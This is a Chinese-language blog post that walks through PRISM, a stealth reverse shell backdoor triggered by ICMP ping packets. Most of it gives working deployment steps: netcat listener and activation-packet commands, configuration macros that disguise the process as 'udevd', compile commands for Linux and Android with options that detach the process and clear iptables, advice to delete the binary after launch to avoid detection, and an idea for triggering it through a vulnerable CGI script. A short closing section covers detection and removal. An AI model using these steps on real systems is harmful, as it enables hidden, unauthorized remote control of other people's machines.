搜索的時候無意中看見的這款基於ping的ICMP后門。於是到作者的github上看看,居然是陰文的,為了過級,只能強忍着看了,學生狗傷不起。還好比較簡單易懂,正如簡介說的一樣:“PRISM is an user space stealth reverse shell backdoor, written in pure C.”
項目地址:https://github.com/andreafabrizi/prism
PRISM只有兩個主文件,配置簡單,能在Linux、Solaris、AIX、BSD/Mac、Android等多個系統上運行,支持兩種工作模式:ICMP 和 STATIC 模式。
ICMP模式
使用這種模式的后門將會在后台等待特定的包含主機/端口連接信息的ICMP數據包,通過私有密鑰可以阻止第三方訪問。后門進程接受ping包激活(總不會連ping包都不讓過了靶>_<)
首先,在攻擊者的機器上運行netcat來等待后門進入的連接:
~$ nc -l -p 9999
再使用sendPacket.py腳本(或其他數據包生成器,如nemesis-1.4)發送激活包到后門主機,以使后門主機反彈連接到主控機的指定端口:
./sendPacket.py 10.0.0.5 linger 10.0.0.10 9999 //10.0.0.5 遠程主機(靶機)的IP地址 //linger 連接密碼 //10.0.0.10 主控機IP地址 //9999 主控機連接端口
STATIC模式
使用這種模式,后門主機將會主動嘗試連接到指定端口的的IP地址上,所以只要在指定IP上監聽指定端口等待連接就可以了。但是,缺點很明顯,很任意暴露攻擊者的IP地址,而且使用不夠靈活。
$ nc -l -p [PORT]
當然,作為一款迷你級的后門木馬。它還是有很多優點的:
兩種工作模式、運行時進程重命名、不會監聽端口、自動清除iptables規則表、采用C語言編寫(代碼僅有200來行),所以不需要任何庫支持。
配置prism后門
編輯prism.c文件,修改宏定義部分:
40 #ifdef STATIC 41 # define REVERSE_HOST "10.0.0.1" //連接到主控機的IP地址 42 # define REVERSE_PORT 19832 //連接到主控機的端口號 43 # define RESPAWN_DELAY 15 //后門機嘗試連接的空閑時間間隔 44 #else 45 # define ICMP_PACKET_SIZE 1024 //ICMP數據包的大小 46 # define ICMP_KEY "linger" //連接的密碼 47 #endif 48 49 #define VERSION "0.5" //版本信息 50 #define MOTD "PRISM v"VERSION" started\n\n# " //后門機連接時顯示的消息 51 #define SHELL "/bin/sh" //shell執行的位置 52 #define PROCESS_NAME "udevd" //創建的進程名稱
交叉編譯prism后門
gcc <..OPTIONS..> -Wall -s -o prism prism.c
可用的參數<OPTION>選項:
-DDETACH //后台運行
-DSTATIC //只用STATIC模式(默認是ICMP模式)
-DNORENAME //不再重命名進程名
-DIPTABLES //清除所有iptables規則表項
例如:
gcc -DDETACH -DNORENAME -Wall -s -o prism prism.c
不同平台下的交叉編譯需要相關庫文件:
Android平台:
apt-get install gcc-arm-linux-gnueabi arm-linux-gnueabi-gcc -DSTATIC -DDETACH -DNORENAME -static -march=armv5 prism.c -o prism
Linux 64bit:
apt-get install libc6-dev-amd64 gcc -DDETACH -m64 -Wall -s -o prism prism.c
Linux 32bit:
apt-get install libc6-dev-i386 gcc -DDETACH -m32 -Wall -s -o prism prism.c
編譯好之后,可以查看后門的配置信息:
運行prism后門測試
將該后門上傳到遠程后門主機,再使用sendPacket.py腳本(需以root運行)在本地發送激活包到后門主機,本地監聽相關端口等待后門主機反彈連接:(這里要注意,最好時將prism.c文件上傳到后門主機再進行編譯,這樣才更容易成功。)
這對於采用了很多限制(比喻限制了SSH)遠程服務器來說,使用該后門是不錯的。而且prism服務端運行后會在后台一直運行,除非服務器重啟。所以,后門開啟后刪除自身文件將不容易被發現。
簡單講解prism后門的清除
首先,上面說了,該后門重啟會失效,除非寫在開機啟動項里。所以攻擊者想要繼續留住后門,肯定會這樣做,故首先要檢查開機啟動項里(比如/etc/rc.local,這可是root權限!)是否有未知啟動腳本。聯想起前段時間的BASH漏洞,有一個不錯的思路是在cgi-bin里的某個腳本里作改變,當訪問這個腳本時就可以觸發這個prism后門,這樣就可以不用之前的python腳本來觸發了。厄,貌似這就講到攻擊了-_- 不管怎樣,先得有點見識靶。搞不好還真有人會這樣用呢。
其次,雖然這個后門可以改變后門進程名,但是還是有進程存在,所以要查出這個未知進程。可以用工具查找,找到kill掉就OK了。
最后,要設置好嚴格的iptables規則。該后門可以按攻擊者的設置嘗試清除iptables規則,所以要定期查看iptables規則是否改變。
還有,該后門是使用ICMP協議的PING包激活的,SO,如果還真怕PRISM的會,那就過濾掉ICMP包靶,走着瞧靶v_v
但是,站在攻擊者的角度來看,想要防范prism后門還是比較難的。正如其作者所描述的那樣:“No listening ports”,啥意思?就是想用啥端口連接都可以,額測試過了: ) 這么說來,貌似上上一條有失效了-_-
所以,綜上所屬,最好的辦法就是做好預防工作,防止被入侵。為啥?因為我是傻逼{-_-}